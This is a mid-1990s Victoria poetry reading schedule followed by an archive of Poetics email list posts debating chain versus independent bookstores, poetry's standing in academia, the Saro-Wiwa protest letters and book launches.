OCTOBER 20: ANNE SWANNELL Anne Swannell is the author of two books of poetry: Drawing Circles On the Water (Rampant Swan Publishers) and Mall (Rowan); her work has been published widely in Canadian, U.K., and American magazines. She is currently at work on a story for children and a third book of poems. She is also a painter, art critic and educator in the arts.

OCTOBER 27: CLIFF SYRINGE Cliff injects proust punk observations on Victoria and the cyber scar into his novel Glasshouse, a Johnny-Rotten-like,

Burroughsian excursion through a Gibsonian Victoria populated with Fernwood's appalling denizens. Cliff threatens also to bring his guitar and possibly others like him. Run for the hills (or James Bay).

NOVEMBER 3: CLIFF PIPRELL Cliff Piprell reads from a collection of poems that detail some of his experiences prior to and through retirement. Many Victorians will be familiar with the work of Cliff's son Craig; Cliff's thoughtful, insightful presence has nurtured a family of writers.

NOVEMBER 10: P.K. PAGE P.K. Page has been a force in Canadian poetry of the mind for over 50 years. Her painterly poems (she is also a highly regarded visual artist) trace the Ur and i mage. P.K. is a kind of poetical cubist. As the title of her latest book of poems (Hologram) suggests, her work is often concerned with multiple perspectives. The grace and eloquence of her work has earned her many honours including the Governor General's award for poetry.

NOVEMBER 17: ROBERT KROETSCH Robert Kroetsch is one of Canada's most highly regarded poets, novelists, and critics. His most recent book is A Likely Story: THE WRITING LIFE (Red Deer College Press), an autobiographical collection of essays and poems that explore the experiences that lead to writing.

NOVEMBER 24: M.A.C. FARRANT M.A.C. Farrant is the author of five collections of fiction: Sick Pigeon (Thistledown), Raw Material (Arsenal Pulp Press), Altered Statements (Arsenal), Word of Mouth (Thistledown), and The Congress of Human Wonders (Arsenal). Her pointed and humorous work "...delves into our waking 'sleep'—into the dialectical world of our dreams and our nightmares as individually and communally played out through our habits and traditions." This reading is sponsored by the Canada Council; no admission charge.

DECEMBER 1: margareta waterman Originally from New York, Seattle's margareta waterman has been a force in the poetry of Seattle for many years. She is the publisher of Nine Muses Books and has been very active in Red Sky (an ongoing poetry series), and Bumbershoot (Seattle's huge annual Arts Festival). She is an accomplished poet whose books include Lady Orpheus, Occam's Razor, and Astarte Calling Clytemnestra. H.D. was an early and enduring influence on waterman's work: waterman also explores the ancient myths and their relevance to the contemporary psyche and body politic. Her work embodies an unusual fusion of classical sensibility and training with the primal/funk West Coast elements of the travelling poet. She has taught at the Naropa Institute in Boulder, Colorado and recently returned from a trip in South America described in her most recent chapbook, some south american colors.

DECEMBER 8: FORUM: THE INTERNET, COMPUTERS, AND POETRY What sort of effects will the Internet and digital communications have on poetry? The

effects on the language will be as they may; you could view them as relatively minor or yet more reinforcing of the metaphors between people and machines or...? The most easily explicable changes and influences will be upon the infrastructures of publishing and dissemination. It's currently difficult to find the work of many poets in foreign countries, etc. (even in Ontario or Seattle). Will work be more widely accessible world wide? What role will poetry assume in the future? Will the culture of youth be more receptive to the medium of print, given the rise of computer based communications? Will poets acclimatise to cyberspace and tease out the imaginative possibilities of the communications revolution? What are they? COME ON YOU POETS IF THE WORD IS A VIRUS LET'S GET REAL SICK AND DO UP AN EVENING ON THESE QUESTIONS. CALL ME WITH IDEAS ON WHAT WE SHOULD DO TONIGHT! Jim Andrews: [redacted].

DECEMBER 15: JAY RUZESKY Jay is the author of What Was Left of James Dean (Outlaw Editions), Am I Glad to See You (Thistledown), and Painting the Yellow House Blue (Anansi). He writes about what's spectacularly mundane and is the curator of Lost and Found Language ("What is a man with a pen but no words?").

DECEMBER 22: NADINE SHELLEY: POEMS FOR THE INNER EAR A sensual soundscape of deep dream mythology. A syllable waxing her wings on the moon. Erotic naturalism and evocative symbol magick. Nadine will be reading from her current manuscript of poetry A Darktime Crossing to celebrate the winter solstice. "When we walk by the river/ we talk of the crossing/ darktime we are crossing."

DECEMBER 29: VICTORIA: WHERE/ WHAT IS IT: ESCAPE FROM DISNEYLAND Is Victoria any place for a poet? Is there any chance of Victoria coming to be a place of innovation and excellence in poetry? What are the elements of excellent literary and intellectual culture (great bookstores, magazine shops, libraries, local literary magazines, reading series, publishers, newspapers, etc.)? Do they exist here? What can we do to create or change/energise them? CONTACT ME CONCERNING PARTICIPATION IN THIS FORUM. CAPACIOUS VISION, PLEASE. Jim Andrews, [redacted].

JANUARY 5: RHONDA BATCHELOR Rhonda's newest book of poems is Interpreting Silence (Beach Holme). "The Muse pulls up in a taxi, late. Enters on the arm of the driver who asks you for her fare from the airport. She has no bags. The reading is over and the audience has gone home without any tangible evidence. You autograph the wall dedicating everything to everyone personally. Ms. Muse is miffed, the wine's all gone. She refuses to help stack the chairs, breezes back out for a smoke and window-shops the block...." In a different poem: "She has to face it. Gracefully or not, she's ageing and going through the

change, any change, won't be easy.... In the glamour of the rising moon the voice of experience whispers to the pearl of her ear Nothing lasts forever, whispers Have no fear."

JANUARY 12: NICK NOLET Nick is well known in Victoria for her thoughtful writing poised somewhere along the edge of urban relationships and proust punk observations. "This is about love... not to be confused with a love poem." She takes great care with the phrasing of her poems but insists nonetheless on the raw and primal.

JANUARY 19: PAULINE HOLDSTOCK "Though Holdstock's subject matter is often stark and brutal, her elegant, ethereal prose turns raw reality into art." Vancouver Sun. Pauline will read from her new novel House, set in a decaying, post-Mishap London and will launch her chapbook, Mouths of The Amazon, "the first erotic poem composed entirely of words from the index to the Times Concise Atlas of the World..."

JANUARY 26: SHERI D WILSON Sheri is one of Canada's most prominent performance poets; she was recently featured in the Word Up series of videos on Much Music. She is well known for her combination of lyric strength and sophisticated, comic grace. This reading is sponsored by the Canada Council; no admission charge.

FEBRUARY 2: GERRY GILBERT Gerry's contribution to the literature of Vancouver is immense both in his own writings and his other projects. He is one of the best informed poets to be found anywhere and has been devoted to the art for about forty years. His extraordinarily agile poetry continues to influence a younger generation of poets (notably amongst those involved in the Kootenay School in Vancouver) and his radio show (Radio-freerainforest on CFRO-FM) informs B.C. of what's happening in poetry not only in Vancouver but around the world. Gerry's most recent book is Azure Blues (Talon-books). "Poetry/ the trick to read what can't be read/ quick to write what can't be said." Gilbert's readings are dynamite. An intellectual poet with a hot tongue and great ear for word jazz. This reading sponsored by the Canada Council. No admission charge.

FEBRUARY 9: JIM ANDREWS I write poetry, fiction, and criticism. I also do visual poems and sound poetry. I'm going to put myself in a spot and say that I'm going to do a lot of sound poetry. So I better get at it. I agree that good taste is the first resort of the witless. I agree that language is a technology (tool(s) made by people) and that the precision and scope of our tools determines how deeply and accurately we can think and feel. And we should also have access to the primal. I will consider the first thought in detail and read excerpts from an essay called "The Impossibility of the Mere Existence of the Great Works of the Late Twentieth Century."

FEBRUARY 16: PAUL MCKINNON Paul's comic brilliance is well known around Victoria and Vancouver. It almost looks like he's improvising. But isn't it too good to be totally improvised? And all those loose ends end up getting tied up. I think he ties up too many loose ends to be improvising too much. Yes he's funny but is he deep? Oh yes he's very deep. Smells like Curt Cobain: "there you are now, entertain us..." or carcinogenic haiku: "the dishwasher tells us/ he has cancer/ then lights a cigarette." Paul is a brilliant writer and performance guy. There you are now. Come and be entertained.

FEBRUARY 23: DAVID AYRE David has been active with The Kootenay School of Writing in Vancouver and has published various poems in such magazines as Raddle Moon. He will read from his own work and discuss the nature of the Kootenay School.

MARCH 1: DAVID P. SMITH David is highly regarded for superb performances of his poetry. His last performance at Java, a poem about Calgary, was about 15 minutes long and done without a written copy. David composes his works in his head while he paints houses. An aural/oral poet of great talent and humour.

MARCH 8: RICHARD OLAFFSON Richard is a poet and the publisher of Victoria's Ekstasis Editions which is one of the primary publishers of poetry in the province. He reads widely in poetry (both internationally and within Canada), has been devoted to the art for many years, and has written several books of poetry including Blood Of The Moon Poems (1982), In Arbutus Light Saturna Poems (1987), Inner Shore (1987), Name Of Being (1986), and Roses Pearls Ocean Stars Triads (1994).

MARCH 15: TIM LANDER Tim is well known around the Pacific Northwest for his bardic West Coast lyrical long beard poems. A resident of Nanaimo, Tim is constantly travelling to where people talk about and perform poetry. He reads his poetry superbly. June 23, 1995—March 15, 1996 Schedule

MOCAMBOPO
OPEN MIKE, FEATURE WRITER

at Mocambo Coffee, 1028 Blanshard, Victoria, B.C., Canada, V8W 2H5, (604) [redacted]

FRIDAYS, 7:30, $2 at the door

****

Does the drop of metal shine
like a syllable in my song?
Neruda
Book of Questions

Jim Andrews, Victoria, B.C., Canada: [redacted]

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299. Charles Alexander

FYI

Wed 22 Nov 1995

Maybe there is someone out there interested in this possibility. As the most recent former director I certainly maintain the hope that MCBA will remain involved with poetry & poetics.

charles

>Date: Wed, 22 Nov 1995 09:44:03 -0600
> collecting" <[redacted]>"
>From: richard g schunn <[redacted]>
>Subject: FYI
>To: Multiple recipients of list BOOK_ARTS-L
> <[redacted]>
>
>If interested please contact below address directly
>
>MCBA Search Committee
>24 North Third Street
>Minneapolis MN 55401
>tele: [redacted]
>
>MINNESOTA CENTER FOR BOOK ARTS SEEKS EXECUTIVE DIRECTOR
>
>MCBA is one of the leading book arts institutions in the country, a center for
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>include letterpress and offset printing, papermaking, book binding, a library
>and exhibition space. It has over 500 members and has additional financial
>support from over 100 individuals and twenty corporations and foundations.
Over
>11,000 people visited the facility last year for classes, lectures and
>exhibitions.
>
>The Executive Director, working with a Board of Directors, is responsible for
>carrying out the mission of the Center: to nourish and interpret quality,
>integrity and creativity in the arts involved in the creation of the physical
>book; to serve artists practicing book arts and design; to involve and educate
>diverse communities, regional and national, in the book in all its contexts -
>aesthetic, cultural, social and commercial.
>

>The Executive Director develops and implements artistic programs, is responsible
>for financial management and staff, coordinates fundraising activities, works
>with artists in Minnesota and elsewhere to create professional opportunities
>that advance the field.
>
>Background should include experience as an artist and as an administrator of
>artistic programs for at least five years, and an ability to develop local and
>national networks.
>
>
>Letters of interest or applications and a resume should be sent to:
>
>MCBA Search Committee
>24 North Third Street
>Minneapolis MN 55401
>
>
>
>
>CRITICAL TASKS/CHALLENGES
>
>1. Provide the artistic and creative leadership that will attract artists and
>related organizations, in both the Twin Cities and nationally, in building
>outstanding programs.
>
>2. Relationship building with the board and all related parts of the (local)
>community.
>
>3. Financial and business management of MCBA, including generating earned
>income and development dollars.
>
>4. Creating a strong (effective and flexible) administrative team, managing
>and growing the staff.
>
>5. Focusing priorities and resources to enhance strategy, long term goals,
>and short term needs.
>
>COMPETENCIES OR SPECIAL QUALIFICATIONS
>

>1. Management experience with 5 - 20 people, budgets of $300 - 750,000 and
>program complexity.
>
>2. Experience (bottom line responsibility) for earned income.
>
>3. Implementation skills - planning, organizing, setting priorities.
>
>4. Strategic thinking - ability to articulate a long range plan and
>implement programs accordingly.
>
>5. Ability to grow and organization and to collaborate with others.
>
>6. Communication skills, both written and oral, for dealing with a variety of
>constituents.
>
>7. Pragmatic judgment, decisive - ability to see key issues.
>
>8. Board relationship skills.
>
>9. Presence, social skills, engaging style.
>
>10. Community savvy, especially Twin Cities.
>
>11. Ability to relate to artists.
>
>12. Stature within his/her given field (preferably graphic arts and design).
>
>
>
>
>_____
>[redacted] (w) [redacted] ext 302
>richard g schunn (h) [redacted]
>
> Design Center for American Urban Landscape
>
> http://www.umn.edu/nlhome/m471/schun001/schun001.html
>_____
>
>

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300. Timothy Liu
BARNES & NOBLE, THE CHAINS
Wed 22 Nov 1995

Many chains across the country (B&N, Brentano's, Borders)
consider LITERATURE to be synonymous with LITERARY PROSE,
hence providing a nice umbrella for various fictions, memoirs,
essays, belles lettres, etc. Perhaps in the near future,
there will simply be either PROSE or VERSE sections . . .

While it may be a pleasant surprise to find a Susan Howe title at a B&N Vermont, the future may actually be looking grim.

The chains are forcing many independent booksellers to fold. In Chicago, Stuart Brent Books on Michigan Ave, will close its doors in January after decades of service. Although Borders and Waterstone's just down the street stock ample Sun&Moon titles (whereas Stuart Brent did not), none of these stores carry titles from ROOF, CHAX, O BOOKS, BURNING DECK, etc. Ironically, if Stuart Brent were to remain open, they'd have the easiest time ordering from smaller presses. Why?

The chains rely on a centralized ordering office. While I am not a self-proclaimed avant-garde poet, I have been facing new challenges to get my books (from Copper Canyon Press and Alice James Books) into stores run by the chains. In the past, directly contacting an owner or buyer at an Independent might have been enough to persuade the store to stock a copy or two of a particular title. But with the chains, if your ISBN# is not in the system, you're fucked.

The chains will "gladly" special order any book in print, yet aren't many of our books purchased after an initial browse (NECROMANCE by Rae Armantrout comes to my mind). Other books require return visits to a store, repeat browsings, to finally win me over. An independent bookstore can provide both the shelf space and the time (often years) for books of poetry to sell. Meanwhile, B&N sends back all its unsold Sun&Moon titles within six months (often damaged beyond resale).

As a practice, I try to only patronize the independents. Whenever in Cambridge, I lay my cash down at the Grolier before sauntering off to other stores run by local/national chains. The Grolier even helped me complete my Leslie Scalapino collection this summer by mail (1-800- 234-POEM). I must admit its great to see BIG poetry sections at the chains (sure beats B. Dalton or Walden Books), but the money we save off list price is a bad invenstment for the long run if the chains are luring us away from the independents.

Other thoughts on this?

--Timothy Liu

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301. **Joseph Zitt**
Re: Metroplexities
Wed 22 Nov 1995

On 21 Nov 95 at 13:41, Jordan Davis wrote:

> *The poetry buyer at Barnes & Noble does a pretty good job (tho small press folks may differ). Hidden Meaning: He's just taken on about fifteen Teachers & Writers titles to be available shortly in the "writing & publishing" (shiver) section. He's reading Vollman and Bobrowski (sp?--the ND poet) these days..*

Our Barnes and Noble in Dallas does pretty well, with a wider selection of poetry than any of the smaller stores that I know of. I got "Poems of the Millenium" and the Kurt Schwitters collection (both edited by Rothenberg & Joris, of course).

Which reminds me, tangentially: I did a Sound Poetry event tonight, and all three of us who were reading (there was a fourth ...uhh... performer who did something with blood and feedback positioned in that well-abandoned nomansland between Ozzy Osbourne and Nam Jun Paik) came planning to read Hugo Ball's "Gadji Beri Bimbra". Fortunately, we got to talking beforehand, and ended up doing it as a trio, trading off lines. (I also took a crack at the 3rd Movement of the Ursonata, which went over well, though I'm not sure how accurate it was.) ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

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302. **Jeff Hansen**
Saro-Wiwa
Wed 22 Nov 1995

Dear poetics list,

I will send out the letters to Clinton, Shell Oil, and Nigeria this weekend. They are printed up. If any of you missed out, please write your own letters. Daniel Bouchard's posting of a couple days ago contained important addresses. (The only changes to the letter were that I menitoned eight people killed other than

Saro-Wiwa per Chax's suggestion and added a short piece to the Nigerian and Clinton letter about how we will publicize the situation.)

A few people questioned the value of proceeding in the way we have. One reason to write these letters, for me, is personal satisfaction. I feel that I at least told the tyrants what I think, even if they don't listen. Another is that polticians and business people do care about PR and do pay attention to how many letters they receive that present a position on an issue. We might, with other individuals and groups, have an impact.

But finally, it is important to me that writers band together to express ethical/political opinions as writers. The act of putting fingers on a keyboard provides us with insights not given to other professions. I feel that we should sometimes express these insights in a public forum. What do you think? It's an old question, but what is the political role of the artist? (I am not asking what the political impact of poetry is--as I've already noted on this list, that seems to me almost nil--but what we should do as a small voting bloc.)

Any ideas,

Jeff

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303. Eryque Gleason
Re: BARNES & NOBLE, THE CHAINS
Wed 22 Nov 1995

> *The chains are forcing many independent booksellers to fold. In Chicago, Stuart Brent Books on Michigan Ave, will close its doors in January after decades of service. Although Borders and Waterstone's just down the street stock ample Sun&Moon titles (whereas Stuart Brent did not), none of these stores carry titles from ROOF, CHAX, O BOOKS, BURNING DECK, etc. Ironically, if Stuart Brent were to remain open, they'd have the easiest time ordering from smaller presses. Why?*
>
> *The chains rely on a centralized ordering office.*

I ran into this problem at those specific stores while trying to get _bloo3_ in local bookstores. Although Stuart Brent didn't take it on consignment either, they looked at it for a few days before saying no thanks. B.Dalton, Borders, B&N, Waterstones all said that that i'd have to send a copy to the New York office. The Barbara's chain all took it no problem, (does anyone know if they're a national or local chain?) as did 57th St. Books (which along with it's sister store, is better than Disneyland in my opinion).

Eryque

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304. Charles Alexander
Re: BARNES & NOBLE, THE CHAINS
Thu 23 Nov 1995

Thanks to Timothy Liu for a great post on chain bookstores/independents, etc. And he asked for further thoughts. As a publisher, this topic certainly gets a lot of thought, and a lot of discussion time with others publishing books.

The chains, I believe, are not only forcing a lot of independent bookstores to close, but they are also forcing other bookstores to do business in ways similar to the chains. Among other things, this pushes to greater conformity in books. I'm talking about the physical object here, meaning books are generally certain sizes, have glossy laminated or matte finish covers, certainly have their ISBN numbers prominent, and have bar codes. While I've gone along with this at Chax to a certain extent, I often wonder what's gained. By that I mean, are enough copies sold in bookstores which demand this kind of product, to justify the conformity of design & vision it demands. Increasingly I think no, but it's hard to convince authors, among others of that.

In addition, getting books into stores like Borders and Barnes & Noble is relatively recent for small press literary publishers. And yes, some (Sun & Moon is one) get them into such stores in large numbers. But Timothy is absolutely right to point out how high the returns are on such books. This is something that several small publishers did not adequately predict, and I know it has hurt some rather tremendously, as one has to honor returns to such bookstores (they have tremendous clout) either through cash or credit (usually these books have been bought and paid for already).

Finally, there is some danger that if the largest chains can kill off enough independent booksellers, the chains will be the only sales outlet other than direct sales to libraries and individuals. This means, in effect, that they will have even greater control over what is publishes & how it is published. So, for example, if they decide not to carry Sun & Moon or any other press, that press is forced to deal with the possibility of selling several hundred copies of books rather than a couple of thousand copies of books.

Increasingly I think the onus is on us to shop the independents whenever possible, including by mail order, and to buy directly from publishers, even though that may not be terribly convenient (and the largest of the small press publishers often discourage it, as they don't have staff & time to deal with the orders -- the smallest of such publishers need those direct sales even though they still don't have the staff & time to deal with the orders), even though it moves away from browsing possibilities -- hopefully there will still be

opportunities for that, but there may not. It also puts a responsibility on independent publishers to remain independent in their ways, their design sense, their marketing strategies, and in basically every way they can, and not to capitulate to market pressure to do what the chains want. This is where a lot of people disagree with me, but it has not yet been proven to me that there is any big advantage in having one's books, if those books are built around alternative and/or individual visions and aesthetics, in bookstores where such alternity and individuality are profoundly discouraged.

One of the literary editors & publishers I respect most simply refuses to deal with the demands of these chains, and refuses to deal with at least one major distributor, Baker & Taylor, out of principle (like Baker & Taylor recently simply announcing that they will be charging all presses a certain amount per book for any books which come to them without bar codes) and out of experiences with returns which make him doubt the efficacy of doing business with them. I have not come to that point yet, but I'm close.

charles

ps -- for those of you who ordered Mary Margaret Sloan's The Said Lands, Islands, and Premises (and some ordered other books along with it), in response to a notice on this list -- that book was delayed a couple of weeks, but it is now finished & received from printers. I will begin filling those orders just after Thanksgiving. And thank you very much. The Bounty, by Myung Mi Kim, is still expected in mid-January.

Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

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305. Marjorie Perloff
Re: Condition of Poetry in the Academy
Thu 23 Nov 1995

This is in answer to Maria, Keith, Charles Alexander, et al:

Maria, I disagree only insofar as the people you're talking about HATE FICTION TOO, at least any interesting or experimental fiction. At your alma mater here, the undergrads actually love poetry--all they need is a little exposure. As for the grads, the ones who entered about 5 years ago and are now coming to the job market, HATE LITERATURE, period. They're Puritanical, and the idea of

actually enjoying reading anything seems wrong. It's got to do "cultural work." So we have endless dissertations (I just got a list) of cost accounting in the 18th C and narrative The brewery and ale house in the 16th C The Temperance movement and gender

Anything, but to have to figure out what the poetic or literary might actually be.

But (the good news): the incoming class (which I now teach) is very different. We've just read (in the theory context of the Intro to Grad Studies in which we read Adorno, Benjamin, Barthes, Serres, etc), Bernstein's A POETICS and Howe's THE BIRTHMARK. The class (mostly in Renaissance and 18th C) loved both and discussed them with incredible enthusiasm and argument. So there's hope....

Allan Golding asks why MLA schedules all the poetry programs at same time. I don't think it's a plot; it's simple ignorance on the part of the schedulers. They don't have a clue. If something comes out of the Poetry Division and something else out of, say, American Lit division, you don't think it occurs to them that both are on contemp poetry, do you? Perhaps next year we should send in PROVISOS: Warning, do NOT schedule at same time as session run by X or Y. I'm serious. They might just do it.

Marjorie Perloff

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306. Rod Smith
Book Party for new Cage/Retallack
Thu 23 Nov 1995

Publication Celebration for the new Wesleyan University
Press Publication:

MUSICAGE/CAGE MUSES ON WORDS. ART. MUSIC: John Cage in Conversation with Joan Retallack

at Bridge Street Books
2814 Pennsylvania Ave NW
Washington, DC 20007
ph [redacted]

in Georgetown across from the Biograph theatre.

MUSICAGE features 350 pages of discussions with Cage which range across his career in the arts (plural!). The last of these discussions took place just twelve days before his death. Retallack will also read from _A F T E R R I M A G E S_, her recent book of poems from Wesleyan.

Mail order of signed copies of these books is available (free shipping!) for a limited time. _MUSICAGE_ is $29.95 (cloth), _A F T E R R I M A G E S_ is $12.95 (paperback). Order by phone or e-mail [redacted].

>>support independent booksellers<<
& as always,
B. Y. O. E. (Bring Your Own Ears)

Happy Thanks.

--Rod

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307. R I Caddel
Poetry, Literature
Thu 23 Nov 1995

Ah - just one local tale to add here: amongst the wreckage of a small branch library which was closing (financial cutbacks) I discovered the following plastic shelf sign:

AMERICAN SPORT - LITERATURE AND POETRY

Unhappily, the bookstock which it would have signed had long since been dispersed - so I can't tell you if it really did represent a whole bay of novels and poems about baseball etc. Another entry in the Catalogue of Lost Books.

x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

↑ Index

308. Ron Silliman
Fwd: Response to your comments on the Shell Web Site
Thu 23 Nov 1995

Jeff,

Thanks for writing the letters. Sign me on. Thought you would like to see the response I got from the Shell Website. I reckon they are getting a number of these and answering them in batches. Anybody got the London address??

Ron Silliman

To: distribution:@shellus.com; (see end of body)
Subject: Response to your comments on the Shell Web Site
Date: Tue, 21 Nov 1995 08:25:27 -0600
From: Andy Frush <[redacted]>

Shell Oil Company, the U.S. operating company in the Royal Dutch/Shell Group of companies has no operations, employees or investments in Nigeria. Therefore, we are not in a position to comment on events or issues in that country.

Your message will passed along to Shell International Petroleum Company in
London who deals directly with the Group operating company doing business in
Nigeria.

%%% overflow headers %%%
To: [redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
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[redacted], [redacted]
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309. **Joseph Zitt**
Re: Poetry/Fiction/Literature divisions
Thu 23 Nov 1995

On 23 Nov 95 at 8:02, Maria Damon wrote:

> *so, who among us will take up the challenge to do for swooshy-capped poetry what jan radway and tania modleski did for harlequins and other romance genres? --md*

Hm?! What did they do? ---------1---------1---------1---------1---------1---------1---------- |||/
Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer,

SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

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310. **Maria Damon**
Re: Poetry/Fiction/Literature divisions
Thu 23 Nov 1995

---

gwyn writes:

Danielle Steel (e?) *has* tried her hand at verse. A bright pink book of hers with embossed gold lettering, swooshy caps, the whole bit, sits in the poetry section at my local Borders.

Gwyn

so, who among us will take up the challenge to do for swooshy-capped poetry what jan radway and tania modleski did for harlequins and other romance genres? --md

↑ Index

311. **Maria Damon**
Re: Steiniana
Thu 23 Nov 1995

---

re roitman's

Whoever, said it, thanks for

"a kind of davening perhaps."--

yeah i thot that wz cool 2. did anyone in nyc catch me and charles b on the radio about a month ago talking about stein's jewishness? it was fun, esp. defending her against charges that she was friends w/ a collaborationist (bernard fai -sp?-). we both bristled and came to her defense just as the program ended. afterwards we talked abt the possibility of having a stein discussion circle at some future mla. "discussion circle" what a concept for that top-down forum. let's infiltrate!--md

↑ Index

312. **Maria Damon**
Re: Metroplexities
Thu 23 Nov 1995

Keith writes to moi:

For Maria D:

"Poetry-phobia" would mean at least some experience of poetry, no? Whereas most junior faculty I know here couldn't give a rat's ass for poetry. I'm constantly saying, like, why don't you put a little Brathwaite or Cesaire in that Caribbean lit/post-colonial seminar you're teaching? Blank smiles: yeah sure Keith. Other than a little Wordsworth creeping into seminars on one or another topic in romanticism, other than the chair's fascination for Stevens and a 70 year-old's genuflections before Pound, poetry is left to me, who has it "covered." I'd be surprised if your situation at UM was news to anybody.

Okay --but how did all of you get hired? are we just tokens, some of us multiply so by virtue of gender race etc as well as "eccentric"-- i.e. contemporary american poetics rather than past english prose-- field of scholarship? i was puzzled to be so heavily recruited and then not supported once i took the position. --md

↑ Index

313. Charles Alexander
Re: Poetry/Fiction/Literature divisions
Thu 23 Nov 1995

> *gwyn writes:*
>
> *Danielle Steel (e?) *has* tried her hand at verse. A bright pink book of hers with embossed gold lettering, swooshy caps, the whole bit, sits in the poetry section at my local Borders.*
>
> *Gwyn*
>
> *so, who among us will take up the challenge to do for swooshy-capped poetry what jan radway and tania modleski did for harlequins and other romance genres? --md*

Susan Bee & Charles Bernstein already have, in The Nude Formalism, although there's much else in that book as well.

charles

↑ Index

314. Keith Tuma
Re: Metroplexities
Thu 23 Nov 1995

Maria asks are we tokens, etc.

Yup, probably, in a system still organized by ideas of periodicity and field. So we're no more tokens than the local Chaucer scholar, except that he/she isn't thought to be vaguely attached to or at odds with the mostly ignored institutionalized creative writing professors. "Poetics" as a discourse still is not recognized within those period-leaping, field bashing discourses-- theory, "cultural studies," etc.--which might help us, despite local efforts such as the one marjorie details or Charles B's seminar on the "ordinary" at Buffalo. At most institutions the introduction to theory course is already "owned" by one or two or three people just as is the contemporary poetry course. It seems to me that we need to be more aggressive in attacking these disciplinary models/structures by 1) insisting that poetics is not applied theory (and therefore subordinate to one field-crossing discourse) and 2) working harder to make contemporary poetics and poetry speak to the Skelton or Chaucer or Wyatt or Wordsworth scholar--understandably, we've been preoccupied with promoting "our own"--and 3) working to problematize certain cultural studies assumptions that make or understand contemporary poetry and poetics as a self-marginalized or elite practice of small concern to everyday life.

Notice that in this year's MLA joblist the one job that seems in comparative abundance and NOT attached to some traditionally-defined historical field is not "theory"--certainly not "poetics"--but ethnic studies. Not many jobs in contemporary poetry, sad to say for my unemployed friends, and from what I can make out some ads that seem to be asking for people writing on cont. poetry aren't really looking for anybody likely to be a part of this list.

Signed,
The Happy Turkey

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315. Aldon L. Nielsen
Re: more work for Loss?
Thu 23 Nov 1995

---

somebody suggested a possible e-mail exchange among those of us speaking at MLA and unable to get to each other's panels -- I'd like to see that -- would it be possible to arrange an address where such longer items might be posted for general downloading? could also be used to post some of the very long schedules & other info, with precis posted to POETICS list alerting readers to its presence at this other address??

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316. Aldon L. Nielsen
Re: The Great Poetry Coverup
Thu 23 Nov 1995

Keith's posting raises another problem familiar to most of us in academia -- many departments feel that having hired one "poetry person" the ground is covered -- Thus students are often confined within the interests and fileds of that one person -- Departments are also curiously unable to see distinctions among people who study poetry -- Thus, while a large English department may have a Victorianist -- A Rhetorician -- A postcolonial studies person -- an early American Lit. person -- etc. -- these folk are liable to work mostly on prose, and the department is unlikely to understand that one might do well to have people in these fields who work on verse, as well -- Not that I expect any ark actually to hold two of every species -- but this is a large part of the reason so few grad. students these days have anything like the knowledge of poetry that they have of other literary forms --

and often English departments, having hired a "practicing poet" (love that term, will assign all classes in verse to [)] -- there's the other paren. for you -- that poet,,, and see no need to hire an additional person knowledgeable in other areas of poetry --

Keith's example is on the mark -- not only do few departments give serious considertaion to postcolonial studies scholars working primarily in poetry,,, ethnic studies in the academy is marked by the same problem -- One reason, for example, that very few grad. students have any familiarity with contemporary African-American poetry is that they only read fiction in their lit. seminar --

speaking of which -- If you haven't already got it, be sure to read Harryette Mullen's _Muse & Drudge_ just out from Gil Ott's press!!!

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317. Tony Green
Re: Condition of Poetry & Art in the Academy
Thu 23 Nov 1995

---I bet someone here cd speak for Music in the Academy too as a BLASTED ACADEMIC OAK. Do you think art historians actually enjoy pictures and statues any more than Eng dept persons like and enjoy reading? In an attempt at a collaborative teaching session with a puritanical colleague, I remarked to the students that x and y and z were what gave me pleasure in the paintings of Claude Lorraine. Gee, the look of shock/horror and distaste on my colleague's face was a real picture. He pronounced my pleasures as subjective and

irrelevant. Do not imagine for a moment that this is localized POETRY bashing, it is one of the horrors of academic life in general that the arts are regarded one and all as intel lectually inferior amusements.
The REASONS, the intellectual RATIONALE in the Academy? Is there one?

Tony Green,
e-mail: [redacted]

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318. Wystan Curnow
Re: Metroplexities
Thu 23 Nov 1995

Keith, Thank you for that summary of the situation in the academy--it seems accurate from here--and for the list of what to do. I teach in both theory and poetics; just as I won't teach poetics as apllied theory, nor will I teach theory as applied theory. Poetics and theory need to find more common institutional ground...

So there is a battle over what is Literature, is it fiction as the Barnes & the Nobles say, or is it poetry? The Academy is still making up its mind whether its fiction or cultural studies but its pretty clear its not poetry. Here, on this list, we say poetry IS Literature, and historically that's so; 'poetics' is the theory of literary (to say the least) practice, not just poetic. Poetry is not a genre, which is what keeps it interesting and of value. Fiction is, but I prefer movies. Tell me I'm wrong.

Wystan

↑ Index

319. Rachel Loden
for Maria D.
Fri 24 Nov 1995

Maria Damon wrote:

did anyone in nyc catch me and charles b on the
radio about a month ago talking about stein's jewishness?

Maria: tell us more, please, about this--if it suits you--

Rachel Loden

↑ Index

320. Charles Alexander
Re: for Maria D.
Fri 24 Nov 1995

> *Maria Damon wrote:*
>
> *did anyone in nyc catch me and charles b on the*
> *radio about a month ago talking about stein's jewishness?*
>
> *Maria: tell us more, please, about this--if it suits you--*
>
> *Rachel Loden*

and/or

what radio program, address, phone, contact, do they offer transcripts or tapes?

charles

↑ Index

321. H. T. KIRBY-SMITH
Question
Fri 24 Nov 1995

This may be irrelevant to the current purposes of this list, but I was wondering how a person knows for sure that she or he is a poet?

Is there any place where Emily Dickinson speaks of herself as a poet?

I suppose that now that Seamus Heaney has been Professor of Poetry at Oxford, and Boylston Professor at Harvard, and has won the Nobel Prize, he may feel reasonably assured that someone thinks he is a poet. It appears that God told Milton that he was.

Is there any place where William Carlos Williams speaks of himself as a poet?

Stephen Spender once paid a visit to T. S. Eliot at Faber abd Faber, and after he left, Eliot remarked to someone, "He talked a lot about being a poet but he didn't say anything about writing poetry."

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

↑ Index

322. **Rod Smith**
Re: Book Party for new Cage/Retallack
